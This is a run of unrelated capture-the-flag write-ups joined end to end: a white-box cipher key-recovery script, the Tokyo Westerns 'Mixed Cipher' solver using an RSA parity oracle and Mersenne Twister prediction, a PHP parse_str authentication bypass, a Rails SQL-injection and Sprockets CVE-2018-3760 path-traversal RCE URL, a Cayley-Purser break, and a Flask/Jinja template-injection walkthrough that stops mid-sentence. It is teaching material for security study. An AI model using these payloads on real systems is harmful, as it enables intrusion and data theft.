''' The table has the dimension: tables[0] :: 32 x 16 x 16 x 256 tables[1] :: 32 x 131072 tables[2] :: 32 x 16 x 16 x 256'''tables = pickle.loads(zlib.decompress(base64.decodestring(data)))
''' helper function to convert encrypt list to encrypt_ref longs'''def convXY(state): ct = bytes(state[8:]+state[:8]) y, x = struct.unpack('<2Q', ct)
return x, y
def encrypt_fst_loop(i, state): if i == 0: state = state[8:] + state[:8]
r = 0 x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[0][i][j][k][state[k]] x2[j] = s state = x2
return state
def encrypt_1_it(i, state): if i == 0: state = state[8:] + state[:8]
r = 0 x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[0][i][j][k][state[k]] x2[j] = s state = x2
for j in range(8): a = tables[1][i][state[j] * 512 + state[j+8] * 2 + r] r = (a & 0x100) >> 8 state[j] = a & 0xff
x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[2][i][j][k][state[k]] x2[j] = s state = x2
return state
def encrypt(pt): state = pt[8:] + pt[:8]
for i in range(32): r = 0 x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[0][i][j][k][state[k]] x2[j] = s state = x2
for j in range(8): a = tables[1][i][state[j] * 512 + state[j+8] * 2 + r] r = (a & 0x100) >> 8 state[j] = a & 0xff
x2 = [0] * 16 for j in range(16): s = 0 for k in range(16): s ^= tables[2][i][j][k][state[k]] x2[j] = s state = x2 return bytes(state[8:]+state[:8])
''' Put the lowest (little endian) r bits to the front. E.g. XX....XYY..Y is transformed to YY..YXX....X for r Y's and 64-r X's, Y's are put to the front'''def ror64(x, r): return (x >> r) | (x << (64-r)) & 0xffffffffffffffff
''' Put the highest r bits (little endian) to the back. E.g. YY..YXX....X is transformed to XX....XYY..Y for r Y's and 64-r X's, again Y's are moved.'''def rol64(x, r): return (x << r) | (x >> (64-r)) & 0xffffffffffffffff
''' Calculate the xNew of xNew, yNew = r(xOld, yOld, k) '''def calcXNew(yOld, yNew): yOld = rol64(yOld, 3) yOld &= 0xffffffffffffffff x = yNew ^ yOld return x
''' Reverses the effect of r().'''def revR(x, y, k): y ^= x y = ror64(y, 3) y &= 0xffffffffffffffff x ^= k x -= y x = rol64(x, 8) x &= 0xffffffffffffffff return x, y
def r(x, y, k): x = ror64(x, 8) x += y x &= 0xffffffffffffffff x ^= k y = rol64(y, 3) y &= 0xffffffffffffffff y ^= x return x, y
def encrypt_ref(pt, k): y, x = struct.unpack('<2Q', pt) b, a = struct.unpack('<2Q', k)
x, y = r(x, y, b) for i in range(31): a, b = r(a, b, i) x, y = r(x, y, b)
return struct.pack('<2Q',y, x)
def challenge(): ptBytes = bytes([0]*16)
''' The key is distributed over two iterations. In the fist iteration, the x's are xored with some value (part1 of the key). Then that is xored to the y's for the new y's. Then in the next iteration, before doing anything else, we xor again stuff to the x's (part 2 of the key). As well as to the y's, which is necessary, since we xored the y's with x's that weren't "finished". It's also confusing, since the x's are first shifted (ror64), before xoring, but it all works out, in the end of the 2nd loop in the 2nd iteration, the x's are x + y of the second iteration of r().
Masterplan: - Recover first b of the key - Recover b' of a', b' = r(a, b, 0) - With b, b' recover a' - With revR recover a, b = revR(a', b', 0) - b, a is the key! '''
# Run encryption on all zero bytes -> gives you part of b # The other part is hidden at the start of the next iteration # XORed together they give the b of the first key.
encZeros = encrypt_1_it(0, b'\x00'*16) b1_part1 = encZeros[:8]
# Execute only the first loop to get the rest of the key. # Execute on [157, ..., 157, 0, ..., 0] because all x's # are xored with 157 (for later ops) b1_part2 = encrypt_fst_loop(1, [157]*8 + [0]*8)
# XOR the two parts togethers. Don't forget ror64(8, x) # i.e. that b1_part1[0] is shifted to the end, so the # XOR is skewed (like it is done below) # Pay attention to assign the value to the right position # in b1. b1 = [0]*8 for i in range(8): b1[(i+1)%8] = b1_part1[(i+1)%8] ^ b1_part2[i]
# Run the second loop iteration the input that makes # x+y zero again. This can be done the simplest by using # b1_part2 for the x's and for the y's xor b1_part2 with 157 # then after the first loop, the state will be [157,..., 157] # which gives an addition of 0 --> after the 3rd loop, the # x's are again the first part of b2 zeros2 = [0]*16 for i in range(16): if(i < 8): zeros2[i] = b1_part2[(i-1)%8] else: zeros2[i] = b1_part2[i] ^ 157
encZeros2 = encrypt_1_it(1, zeros2) b2_part1 = encZeros2[:8]
# For the second part of b2 proceed as before for b1 b2_part2 = encrypt_fst_loop(2, [127]*8 + [0]*8)
b2 = [0]*8 for i in range(8): b2[(i+1)%8] = b2_part1[(i+1)%8] ^ b2_part2[i]
# Calculate a2 from a2, b2 = r(a1, b1, 0) first, # then recover a1. b2, b1 = struct.unpack('<2Q', bytes(b2 + b1)) a2 = calcXNew(b1, b2) a1, b1 = revR(a2, b2, 0)
# The key is b1, a1 (was switched in encrypt_ref) key = str(struct.pack('<2Q', b1, a1), 'utf-8')
ct1 = encrypt_ref(ptBytes, bytes(key, 'utf-8')) ct2 = encrypt(ptBytes)
if ct1 == ct2: print ("Congratulations ! use", key, "as flag") else: print ("Please try again !")
if __name__ == '__main__': challenge()``` |
# Solution
This concept is called 'Zero-Width Steganography' which has not been covered in any CTFs, There is a library for decoding https://github.com/offdev/zwsp-steg-js or can be manually decoded.There is nothing to guess, as Intention is players will open console & look at the ASCII text which isn't all ASCII but has unicode as well
flag{w3_gr337_h4ck3rz_w1th_un1c0d3} |
# Mixed Cipher
## Introduction
```I heard bulldozer is on this channel, be careful!nc crypto.chal.ctf.westerns.tokyo 5643```
We are given the following server program, which is listening at the aboveaddress:
```pyfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytes
import randomimport signalimport osimport sys
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)privkey = RSA.generate(1024)pubkey = privkey.publickey()flag = open('./flag').read().strip()aeskey = os.urandom(16)BLOCK_SIZE = 16
def pad(s): n = 16 - len(s)%16 return s + chr(n)*n
def unpad(s): n = ord(s[-1]) return s[:-n]
def aes_encrypt(s): iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16) aes = AES.new(aeskey, AES.MODE_CBC, iv) return iv + aes.encrypt(pad(s))
def aes_decrypt(s): iv = s[:BLOCK_SIZE] aes = AES.new(aeskey, AES.MODE_CBC, iv) return unpad(aes.decrypt(s[BLOCK_SIZE:]))
def bulldozer(s): s = bytearray(s) print('Bulldozer is coming!') for idx in range(len(s) - 1): s[idx] = '#' return str(s)
def encrypt(): p = raw_input('input plain text: ').strip() print('RSA: {}'.format(pubkey.encrypt(p, 0)[0].encode('hex'))) print('AES: {}'.format(aes_encrypt(p).encode('hex')))
def decrypt(): c = raw_input('input hexencoded cipher text: ').strip().decode('hex') print('RSA: {}'.format(bulldozer(privkey.decrypt(c)).encode('hex')))
def print_flag(): print('here is encrypted flag :)') p = flag print('another bulldozer is coming!') print(('#'*BLOCK_SIZE+aes_encrypt(p)[BLOCK_SIZE:]).encode('hex'))
def print_key(): print('here is encrypted key :)') p = aeskey c = pubkey.encrypt(p, 0)[0] print(c.encode('hex'))
signal.alarm(300)while True: print("""Welcome to mixed cipher :)I heard bulldozer is on this channel, be careful!1: encrypt2: decrypt3: get encrypted flag4: get encrypted key""") n = int(raw_input())
menu = { 1: encrypt, 2: decrypt, 3: print_flag, 4: print_key, }
if n not in menu: print('bye :)') exit() menu[n]()```
We can see that:
* the server uses both RSA and AES: RSA is used directly (withoutany padding) and AES is used in CBC mode;* the AES and RSA keys are both generated randomly when the server starts andthey are never regenerated for the remainder of the session;* AES IVs are sent together with the encrypted message, and are not reused:a different IV is generated everytime a message is encrypted with AES;
The server has four commands that we can use:
1. **encrypt** encrypts a message with both RSA and AES;2. **decrypt** decrypts a message with RSA but replaces every byte of thedecrypted message except the last with `#` before sending it back to us;3. **get encrypted flag** sends us the flag, encrypted with AES. To make thingsmore difficult, the entire IV is replaced with `#`;4. **get encrypted key** sends us the AES key, encrypted with the RSA key;
To summarize, the flag is encrypted with AES-CBC with unknown IV and key. Wewill need to:
* break the RSA encryption to recover the AES key;* break the IV generation to recover the IV;
## RSA parity oracle
A [parity oracle attack](https://cryptopals.com/sets/6/challenges/46) is anattack on RSA that can be used to recover the plaintext of an encrypted messageif, given an encrypted message, the attacker can learn whether the correspondingplaintext is even or odd.
We can use this attack in this challenge since the server doesn't destroy thelast byte (i.e. the least significant byte) of the plaintext when we ask it todecrypt a message with its RSA private key. We can keep multiplying theencrypted AES key by $2^{e} \bmod n$ and every time ask the server if the corresponding plaintext is even or odd. Each response will leak one bit of theplaintext.
However, this attack requires knowledge of at least $e$ and $n$, respectivelythe public exponent and modulus of the server's RSA key. We know $e$ since theserver is just using PyCrypto's default value ($e = 65537$) but we will need torecover $n$. In order to do this, we can simply ask the server to encrypt a fewsmall numbers $i$ greater than 1 and compute the GCD of the differences between$i^{e}$ and the corresponding ciphertexts. Since RSA encryption is done bycomputing $c = m^{e} \bmod n$ the GCD will either be $n$ or $n$ times a smallnumber which we can factor out. In practice using 2, 3 and 4 seems to work.
## Mersenne Twister seed recovery
We still have to recover the AES IV, which is randomly generated with `iv =long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16)` every time a message isencrypted with AES. The pseudorandom number generator used by Python's `random`is the [Mersenne Twister](https://en.wikipedia.org/wiki/Mersenne_Twister), whichis not suitable for cryptography as its output can be predicted just byobserving enough of it.
Instead of implementing our own Mersenne Twister cracker, we used [an existingone](https://github.com/tna0y/Python-random-module-cracker).
All we have to do is ask the server to encrypt some messages and feed the IVs tothe cracker.
## Putting it all together
Now that we have recovered both the key and the IV we have everything we needto decrypt the key.
```pyfrom pwn import *from fractions import gcdfrom Crypto.Cipher import AESfrom Crypto.Util.number import bytes_to_long, long_to_bytes
# https://github.com/tna0y/Python-random-module-crackerfrom randcrack import RandCrack
e = 65537host = 'crypto.chal.ctf.westerns.tokyo'port = 5643rsa_re = re.compile('RSA: ([a-z0-9]+)')aes_re = re.compile('AES: ([a-z0-9]+)')
def discard_prompt(t): for _ in xrange(5): t.recvline()
# Ask the server to encrypt a messagedef server_encrypt(t, msg): discard_prompt(t) t.sendline('1') t.sendline(msg) t.recvline()
rsaline = t.recvline() rsa = rsa_re.search(rsaline).groups(1)[0].decode('hex')
aesline = t.recvline() aes = aes_re.search(aesline).groups(1)[0].decode('hex')
assert len(aes) % 16 == 0
return rsa, aes
# Ask the server to decrypt a messagedef server_decrypt(t, msg): discard_prompt(t) t.sendline('2') t.sendline(msg.encode('hex'))
t.recvline() t.recvline() rsaline = t.recvline() return rsa_re.search(rsaline).groups(1)[0].decode('hex')
# Get the encrypted flag from the serverdef get_enc_flag(t): discard_prompt(t) t.sendline('3') t.recvline() t.recvline() t.recvline()
flagline = t.recvline().strip()
enc = flagline.decode('hex')[16:] assert len(enc) % 16 == 0
return enc
# Get the encrypted AES key from the serverdef get_enc_key(t): discard_prompt(t) t.sendline('4') t.recvline() t.recvline() keyline = t.recvline().strip() return keyline.decode('hex')
# Recover the RSA modulus: msgs = list of (plaintext, ciphertext) tuplesdef recover_modulus(msgs): msg_gcd = reduce(gcd, [(p ** e) - c for p, c in msgs[:5] if p > 1])
assert msg_gcd > 1
return msg_gcd
# Recover the Mersenne Twister RNG's seed from the AES IVsdef recover_seed(ivs): cracker = RandCrack()
for iv in ivs: tmp = iv
# The cracker takes 32 bits at a time while tmp > 0: cracker.submit(tmp % (1 << 32)) tmp = tmp >> 32
return cracker
# Ask the server to encrypt some messages and use the responses to recover the# RSA modulus and RNG seeddef recover_modulus_and_seed(t): rsa_pairs = [] ivs = []
for i in range(157): # The server will treat newlines as the end of the message if i == ord('\n'): continue rsa, aes = server_encrypt(t, struct.pack('B', i))
rsa_pairs.append((i, bytes_to_long(rsa))) ivs.append(bytes_to_long(aes[:16]))
return recover_modulus(rsa_pairs), recover_seed(ivs)
# Recover the AES key encrypted with RSA with modulus ndef recover_aes_key(t, n, key): # The AES key is at most 2^128 so we don't need to use m as our upper bound lb = 0 ub = n / (2 ** 890) key = (pow(2 ** 890, e, n) * bytes_to_long(key)) % n
while lb < ub: key = (pow(2, e, n) * key) % n d = bytes_to_long(server_decrypt(t, long_to_bytes(key)))
if d % 2 == 0: ub = (lb + ub) / 2 else: lb = (lb + ub) / 2
assert lb == ub
return long_to_bytes(lb)
def unpad(s): n = ord(s[-1]) return s[:-n]
def main(): t = remote(host, port) #t = remote('localhost', port)
p = log.progress('Recovering RNG seed and RSA modulus') n, cracker = recover_modulus_and_seed(t) iv = long_to_bytes(cracker.predict_getrandbits(128)) p.success('Seed and modulus recovered!')
enc_flag = get_enc_flag(t)
p = log.progress('Recovering AES key') aes_key = recover_aes_key(t, n, get_enc_key(t)) p.success('AES key recovered!')
# The last byte of the key is not recovered correctly for whatever reason # but we can just bruteforce it for i in range(256): aes = AES.new(aes_key[:-1] + struct.pack('B', i), AES.MODE_CBC, iv) try: dec = unpad(aes.decrypt(enc_flag)) if 'TWCTF' in dec: log.success('Flag: {}'.format(dec)) exit(0) except: pass
if __name__ == '__main__': main()```
```$ python solve.py[+] Opening connection to crypto.chal.ctf.westerns.tokyo on port 5643: Done[+] Recovering RNG seed and RSA modulus: Seed and modulus recovered![+] Recovering AES key: AES key recovered![+] Flag: TWCTF{L#B_de#r#pti#n_ora#le_c9630b129769330c9498858830f306d9}[*] Closed connection to crypto.chal.ctf.westerns.tokyo port 5643``` |
# SimpleAuth
The challenge server is running the following PHP script:
```php Parses encoded_string as if it were the query string passed via a URL andsets variables in the current scope (or in the array if result is provided). > **Warning** Using this function without the result parameter is highlyDISCOURAGED and DEPRECATED as of PHP 7.2. > Read section on security of Using Register Globals explaining why it isdangerous.
What this means is that, unless a second argument is passed to `parse_str`,all variables in the query string will become PHP variables in the currentscope. So for example if we invoked the script with `?action=myaction`,`$action` will be set to `myaction` in php code. We can set any global variablewe want in this way.
The script checks if `$action == 'auth'`, then uses `$user` and `$pass` tocompute a md5 hash and compares the hash against a constant. Since we can setany global variable, rather than attempting to crack the hash, we can just use`?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e`.
`TWCTF{d0_n0t_use_parse_str_without_result_param}` |
Please, do not write just a link to original writeup here. [Link to original writeup](https://github.com/Xenomit/CTF-Writeups/tree/master/HackIT_2018/baby_first) |
This challenge was a ruby on rails application. The index route redirects to a login page, which is vulnerable to sql injection After people bypass auth with simple payloads like `' or 1=1 #` you will know that the goal is to retreive admin password using sqli and login into /admin. The filter was : ```RUBYhack = /union|benchmark|strcmp|locate|STRCMP|position|file|concat|sleep|md5|mid|sub|count|and|left|load|space|instr|pad|conv|right|ascii|cast|reverse|locate|glob|having|like|match|char|regexp|limit|order|group|hex|information/i```So there is no substr functions no unions etc ... A possible solution(there are others) is to use insert function basically you can do : SELECT ('a')=(insert((SELECT password from users where isadmin=1), 2, 255, '')); And do blind injection to retreive password, more details about this technique are [here](https://gist.github.com/stypr/43fce10db9fa44b5f072442245d9e82e) After finding the admin password and login into /admin, we will be redirected to /upload where you can upload any file you want, the only thing that is returned is the PATH of that file. Gemfile shows the version of Sprockets that was used, which was vulnerable to CVE-2018-3760 Basically you need to upload an erb file containing your payload and abuse the CVE to get RCE : The payload for rce looks like : http://185.168.131.128:8080/assets/file:%2f%2f/home/web03/app/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252E%252E/%252E%252E/home/web03/app/uploads/resumes/someHash/file.erb%3Ftype=text/plain For more details about the CVE , check Orange Tsai talk at BHUSA 2018. Note: The application was on production mode but flag assets.compile was on. |
# Sarah's Cryptosystem (60 points/ 33 solves)## Problem statement:> I had a friend who published this public key cryptosystem as part of her science fair project, but I'm not sure it's so secure... > [Public Key](https://github.com/GabiTulba/TJCTF2018-Write-ups/blob/master/Sarah's%20Cryptosystem/Public%20Key) > [Ciphertext](https://github.com/GabiTulba/TJCTF2018-Write-ups/blob/master/Sarah's%20Cryptosystem/Ciphertext)
## My opinion:This was a super fun to solve challenge, mostly because I didn't know that such a cryptosystem(even if easily breakable) existed.
## The challenge:
So, we were given some public key, and ciphertext of an unknown cryptosystem.Googleing `Sarah Cryptosystem` we find a pretty interesting story about a woman named [Sarah Flannery](https://en.wikipedia.org/wiki/Sarah_Flannery).She developed in 1999 an algorithm called [Cayley–Purser](https://en.wikipedia.org/wiki/Cayley%E2%80%93Purser_algorithm) which caused quite a big fuss, sadly this algorithm was cryptographically insecure. After understanding how the algorithm works I googled some more until I found a paper which explains the [attack](https://arxiv.org/pdf/1803.05004.pdf).## Getting the flag:
I implemented the attack in sagemath, I won't explain it here since it's explained in great detail in the paper above (I hope you'll understand the math behind it).
```sageimport binasciin=14678582949426387051583136040455803382111419934165976555967410717578108685173293909893707428060574534387147043662980233493070333867526564630646606195171973454732346210530445592981735448140608367433802310679262003264086048483330926831158965247002647763969506296491800206264566632210018217460947909473322948120728022781961264083482251077179808522571497366192225541800367737775624875274409378360680791167750022903325344080185661894498877429106792051549616294445505734756445036773060160075172879734624325424601794213946464848991659189822047433670420325360836239402912250660089868320598256013395839998681853749012528228581R=IntegerModRing(n)alpha=Matrix(R,[[8775523445886632877189593855724016105923853238110388600944519847143895931293223855922653616887818042631073479198110684379321723227593601822918289162810287213179985843203577275519823312297337476543699814699295603780534270489652026567901889418668978700166470523932709861086261372827841681274942513882086473642725585135101230370081888674776607714279827857691943339921005145456087934796083827529605415734994951876822070091633768569949775791638494032484021726668931928950677970506977610850040146356447929936780822436403930820545470690234566354431325668976387986291875340697228987789945329449200068296170375614076050879785,10914524698710595970321127027090232144165968780037471063432770955497704137163051702799686631313041237560141667848373235442103054608670912249269855896811394714345108278448088454633357108221934703236017373213591822419492870186573388565800341211631487277520861910315169726614530318669774452500398973789004100413146262726432287549267494369387541010183759368058060150046771812028618651061152940554853598757579002480497094323215709965636785996674504414081628163168221618141288158620642854534927045304055157302218392073869315722029506251754742712127700711498342611023211817174640260717060042688885087479683913557571909322741],[7157097076807988382820230716569936455045674994109312852250577929895736096519606523374055940413673063662855431457666708138113796135396777078373960733319810698100562529245781853196798527091875213512132913044623809323407761879224741043837559073372914528336917930561267239951428201709786511309170906978181350528532725746865810552547336005227276113230516321894984875520782802662233942788568094083797220677632043304323815963819260590985920987957137053105329635183018297003173809322151759301586528750262563904360082125151280110181914762714140881033279744601200352729150802483479611105828702510738590423345140053057578524340,6713517055261601175137199194349037776884391949750887153570211478360609355102967635024812020436930124099492062499378568948225812905028941236992161990751892519351796091752765093957342028716103643486587421078902623905472869718701549301991454011667516034361143511456327353811233114869084210135013109411719670903088224240407539506990465851216587326439231276390112484389076650763830466007812636524179883923113881730406583476993810068817032731764701328227580833401955012377095618568561222016759038286127435444274370666887116694944714906875307424805468192270291152231535013278536905457590268616934245276058674669841799113000]])beta=Matrix(R,[[12810735484592687475611067000733910475407959255726938964445865510797360682518042234111788624482348253873675205750379533519653600377466554571549725126735899237320794286392351216351163142150947930793285681157153739873680235151717822189508483187266968937840184927172004631125869801171730273839416495272679596762491128032081715204511086070136862783519124351766930742835431179567064478518796272613388247961834821952570326773065235010566961759660603378159648515475855652044014147336517739031539091701655351031055956799114677224875340483094077563775106615052814649767904459580694503137691824535465579841465656799088385158184,5473642859795523867833744594642413120108472695987405903092128057784530587542920832212387191217752619328277772827610816009681072385077130472910935496153590538664127336809080066339982095054400770410661108644231317771694643744529400989304882179751725342517277312600577613299747065205530030840353840528208991751919855348274256156989437092383943692362355213688529247118405117679336493204906404070181358635721597885844629007865171487595667542012053680470870441869320997247103844383487375469966170305723116660050719640797029789529431834500103108427981321996630378373859429074160615524314703440598519278440916672490604153920],[13360817683734425907882869818387715917823570500779542648139881285594085839307884087170316732892285057644413961106686702548122776388566314151602576134967429938148568359628406913487102447957478975857422968377905367007255678006848155389204533214902608595212870988879519805436914172362269969647424235793945764717194382563938554317735619273113439313925766674058624269423418548409043902139520249198229905104623538910887468568657824562399052674509890480922031471957602349880575143764865589002518416822823718373354855636110399881258158604068094158661436001036363550606724638058264988946662672731808136009525669966413346830771,11468410759599236635289052912588911752422573812150145093904993075149484717580340039481523574675433246733347559877762204982600910077123361122258919844601069472735734932609308953048318256198076234640234139592390905314780413453276360192939595448983886080692089673968929164049655081883685358729758224963749521058341303254696491886950891802778644958745186969893311825203619560214820869460365078215849849124479129495345651512821938654650764639191895571807669232427640112077550730446976794444904863440462011108462395868920803221927297239615558407269413543933560885245839360611664257149625120359949226340501748237522041814167]])gamma=Matrix(R,[[8974468230919934099206660576279424449497301852364989153036761168858007344533698037386796827211384328629017837524968363275804995875927577734686609421586684272633348191411693574979321023787212983912221475247860537390362046603629961287235797201556980167513141941168597299233052362222944059064374704020090477871823209626756840704609536921524143960339208893818545992537157471214137960274837610171236744600814714862928730197678579742105704214054822862593357666332950197265426170385072044723785511598793270720596355301285113545159975155209975455186823617585677822352197860436786511800833967339913846225776224546725792541520,9348474986948437407830611381930796417076181343543633204466467018618007961332994440548537170881111598282300398838403220784637434773325124478963236440587878188677991827315886822018947642220599876747471178815812118951916817010191177047705089048910549002617216646224139781669862185568251097552368622389943664551466943434989962245869206459898126080327957813064720085824151158276722547935648805466702908342289509228148396591724592467606473409258370670569095588764643480541155047718125969649815181530297399896574878462796500132797468732289756350942722963262157882852028757481193014591962402361412541547286212463585329356315],[6306347499602839310711897806816115365577798048588869401080589959551960579025882710953775758799196156090574498840338655413952106340930233167025430911291561146300436232756032168584609901161123027915957142144417373944831498112379530014743564725043850573029577893137274785944999828913842318958600038316305161651550987813123688899364506103198777508061052140024401991543826294645053810175935470329060181419638113822346335627126011428883634941577955928094830457687467602021018818112233819135752762796122449991940293951126794842445023346469946015215788444862522482934643865011428843298464296450568025153162421666513865829972,10460558892626942486591136156075757543686422206929425172766487988979302284782458711707743391644192252658479654211588038112081380743223452728011518065689480909606243379075821247336392033167618986362705759995101660106860761650744887913049696267564350252223724264010048527822196072691569796251914527187015010584106518547809025845913716411807489385594922654444064967642748725710272671436875870600558952201656006726706186246198382807891707075834051796788676605755301264887244933074977001813150376143934759392995053660467071628525606350521290098742782796859849651804582344638795615115444324738258958494327221705047139386067]])mu_prime=Matrix(R,[[9110140425150750491145178173245810683649850676433167642203918443227873747929200498497484988659356796565844607239572829879322347251589944478091113697792108086550736898839464575439745480624731810294886238002427135623698710042800014612820928298917430445137640355738788165343967441826643874136160621009753218683651627226187219386196831000264065035194030979035604667050555295409076871639269434935429836264844914788522151184701643589729070919260048693228620818713776827956449530727987176756766935883945609304801285829253475548773757845833684396147327615752864245759762697131554282702952182820064236136029154931285534920336,3965680634933532371253173918575965512311075743978870329108827645259543845600676708465361739792712505100830375151369030591386585033111483748387572594721593780367638957423544648137126096616048548831526404791201118063342916940780558823392780847378257409456603871959593407713453397146511731920904022568991968961066446033963676957027561582191560877662951544766699653019054058615445793884586251692712331360647356139500007887786373834135022309564632684555593104495467262752494409415310095975103762605447355421569804147145717716270216276407829288807696993083792180120763011612628844075543633935302644043351200000415397765490],[11531027939277663954924629808580850615128112189088429194733892444735389287125194989846483062137239631428856897300952091045885111504233971340222047595797974590299676147530138095131682563465058026356505341896547427515760211337648937509712681168680093916223136691048129594400887163117578083595198924212238020929650571543544239651025512948151083606981283495326581076022774788713191375373448616247020080804624589709887909060660751012839089160151250018439586685425207828386848506215840120679779020276348065756876412067877471560174945643434266029362965328759176908923082695706418412446830824537449603065572349763237675405751,920729326437589730826095157469278350649316030890671041698866840091079079560109369898686162156986131867647612585803281076434525638323194196281197301522301314276691124338087536821687420513860352733995693071965887098334916285637808557203009371600993398395622919226813090045525901909117810003835895044704787089673163783368582595086734902024400720579716370279086180005814810492044173344668033992612757135892010975432640563801946449146558990089998260694779271111218515320264883756992522656100346966776474372573294784374889012500155152418754863716677395313380366718512341128264823401715112635658331018694834964614709946974]])epsilon=Matrix(R,[[7165571226081578603835883150774616488728231051550287925851522690184895637139822876962972947112432251543801438173797575868444468354880336070457468476668646627601203589691836971847199834387550427409515139148865668672460930793878765006885214789102699287706918802228358033100073207658646769916917956918825343988728574869415991085833912621668186850044268946624373249357696907897355173351832256550108577060760939032564672939219868381918863800411991549406942127512322082415984088851421306484618925402688553375021971356743060341861158734723134788643394112904978199797407328350398837621015931420540971820281023718934332599845,5311927137961618089465719533669959680179138808868451304787316556962730054216658384560427124537238182468330318432740185730773011315312521714917801639551804882300325955312260236798444551041370383751633970374956257915677214485582117483657761988919505553702104281197415775417014673469569050740206878224979551841366120847702679675682180740324259166151472145699221113252321870669004434874193357913127321023174144885899598070482292843947693798831055666003932625354269654187369701819908413086086194211158098010905312163522905960656367473770480743567823177465080036681918250028808180971378615523862092243350157331116954510698],[5453403043375115387776266465045212861994650155363814552052041113915923817009277472100191728376696957972330437923466587434020093694118621324930290244063889644426827678183126312734629316012791372652267229717880892934548663470390609038951254084596015737291790063273550517220952776485662834693648438708321765082221299643494798339214081530177171662673636605795986063100859446521438876886565157432362462831922149860311355669958620420565847240178703164000319792911764660820039884624929685147146215415904174517092317941864314088161460161442692320572464940560312915345911620266153658276926959641065541429189055966572657819520,8323469275066655448490909899298437394080014136310987828663208635319609649256368613984492690212315915186764103523691677459103067777742206989452982676893533104930578345264505397629965506625890692620772096629332559013546209414474810863008128641233795446820695233160679181797421280038279121493037666374980800557085234506092778791238441904325008190674790187457682574952384888322563227452064207503676722597347894574663980629407710256847944722991203811304660432558564858911789500224117526382180259239886812006033221746547987173629026862386738990593399748341700938726003025625367055626519666645593341751948026564983517392940]])
lhs=beta-alpha.inverse()rhs=alpha.inverse()*gamma-gamma*beta
d=lhs.solve_right(rhs)[0][0]psi=d*matrix.identity(2)+gammalam=psi.inverse()*epsilon*psimu=lam*mu_prime*lam
out=''for line in mu: for part in line: out+=binascii.unhexlify(hex(int(part))[2:].strip('L'))print out```
The program outputs:>The Cayley-Purser algorithm was a public-key cryptography algorithm published in early 1999 by 16-year-old Irishwoman Sarah Flannery, based on an unpublished work by Michael Purser, founder of Baltimore Technologies, a Dublin data security company. Flannery named it for mathematician Arthur Cayley. It has since been found to be flawed as a public-key algorithm, but was the subject of considerable media attention. Nice job! Your flag is tjctf{c0uld_th1s_b3_tH3_n3Xt_RS4?}
Flag: **tjctf{c0uld_th1s_b3_tH3_n3Xt_RS4?}** |
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|
Tokyo Westerns CTF (2018) — shrine==================================
**Problem**:> [shrine](http://shrine.chal.ctf.westerns.tokyo/) is translated as jinja in Japanese.
## Opening the challenge
We can see that the challenge kindly provides its own source code. It seems to be a Python script. More precisely, a website written with [Flask](http://flask.pocoo.org/):
```pythonimport flaskimport os
app = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')def index(): return open(__file__).read()
@app.route('/shrine/<path:shrine>')def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)```
The flag is "right there"! If only we can read `app.config['FLAG']`, the challenge will be solved.
Two pages (routes) are defined: `/` which is the one we've seen, and `/shrine/arbitrary_string`:
At this point, we can already notice a huge XSS vulnerability. But XSS won't take us very far, since we know that the flag is stored in the server's memory, and XSS is a client-side vulnerability.
Let's look more closely at the code rendering this page. Effectively, it does some filtering on the user-provided string `s`:
```pythondef safe_jinja(s): # Remove parentheses (probably to prevent method calls if we manage to inject code) s = s.replace('(', '').replace(')', '') # Seems to be using special directives to set some variables to None blacklist = ['config', 'self'] prefix = ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) # Any output will have this "clearing" prefix, and then our string return prefix+s# Render this "safe" string using Flask's templating enginereturn flask.render_template_string(safe_jinja(shrine))```
## Learning about Shrine
Now that we have a better idea of what's going on, let's learn a bit more about Flask's templating engine. It relies on the [Jinja2 library](http://jinja.pocoo.org/docs/2.10/), which is what the challenge title and hints are referring to.Usually, a templating language is used to define HTML pages that get filled with contents from e.g. a database.
Looking at the docs, it has many advanced features, such as loops, variables, blocks, macros, etc. We could reasonably expect that one of these will give us access to the flag. Essentially, **we're looking for a way to print a variable from the app's config**.
[From the Flask docs](http://flask.pocoo.org/docs/1.0/templating/#standard-context), we learn that there's a "context" within which the template is evaluated. This means we always have access to the following variables:
- `config`- `request`- `session`- `g`- `url_for()`- `get_flashed_messages()`
This first one (`config`) looks very promissing! Unfortunately, it's also the one that was being cleared by the application just before we get to inject our code:
```pythonblacklist = ['config', 'self']prefix = ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])# Results in:# {{% set config=None %}}{{% set self=None %}} my_arbitrary_string```
## Dead ends
Before detailing the correct solution, I want to emphasize that me and my team spent a long time investigating techniques that turned out to be dead ends.
- What if we could create a new scope (like a block), but that would inherit from the global context, overriding the two `set` directives that are being imposed on us?- What if we could trick the order in which those Jinja directives are executed, so that our code could print the contents of `config` before it was set to `None`?- What if we could bypass the parentheses filter by using e.g. UTF-8-style parentheses alternatives?- What if we could store things in a kind of session or server-side memory, and exploit that to do function calls?- What if we could first write the template code as a string, including parentheses (e.g. by smuggling them through the query string or some session variables), and then get that code to execute? That might have been possible using [Jinja2 macros](http://jinja.pocoo.org/docs/2.10/templates/#macros), but I couldn't get it to work.
My main takeaway here is: look at the point count (reward) for the challenge and the number of teams that solved it. Could it really be that complicated? Otherwise, try looking for a simpler solution.
## Object traversal
In the end, it was an idea that we had fairly early on that did the trick. Googling around, we quickly learnt about Python's "Method Resolution Order" feature:In each object, there is an `__class__` member, which describes the object's class (name, docs, static methods, etc). Furthermore, each Class object has an `__mro__` field, which lists parent classes. From there, you can reach back to the `Object` parent class, and potentially list all other classes loaded in the current Python runtime using the `__subclasses__()` method.
But if we try to do just that, with the following payload:
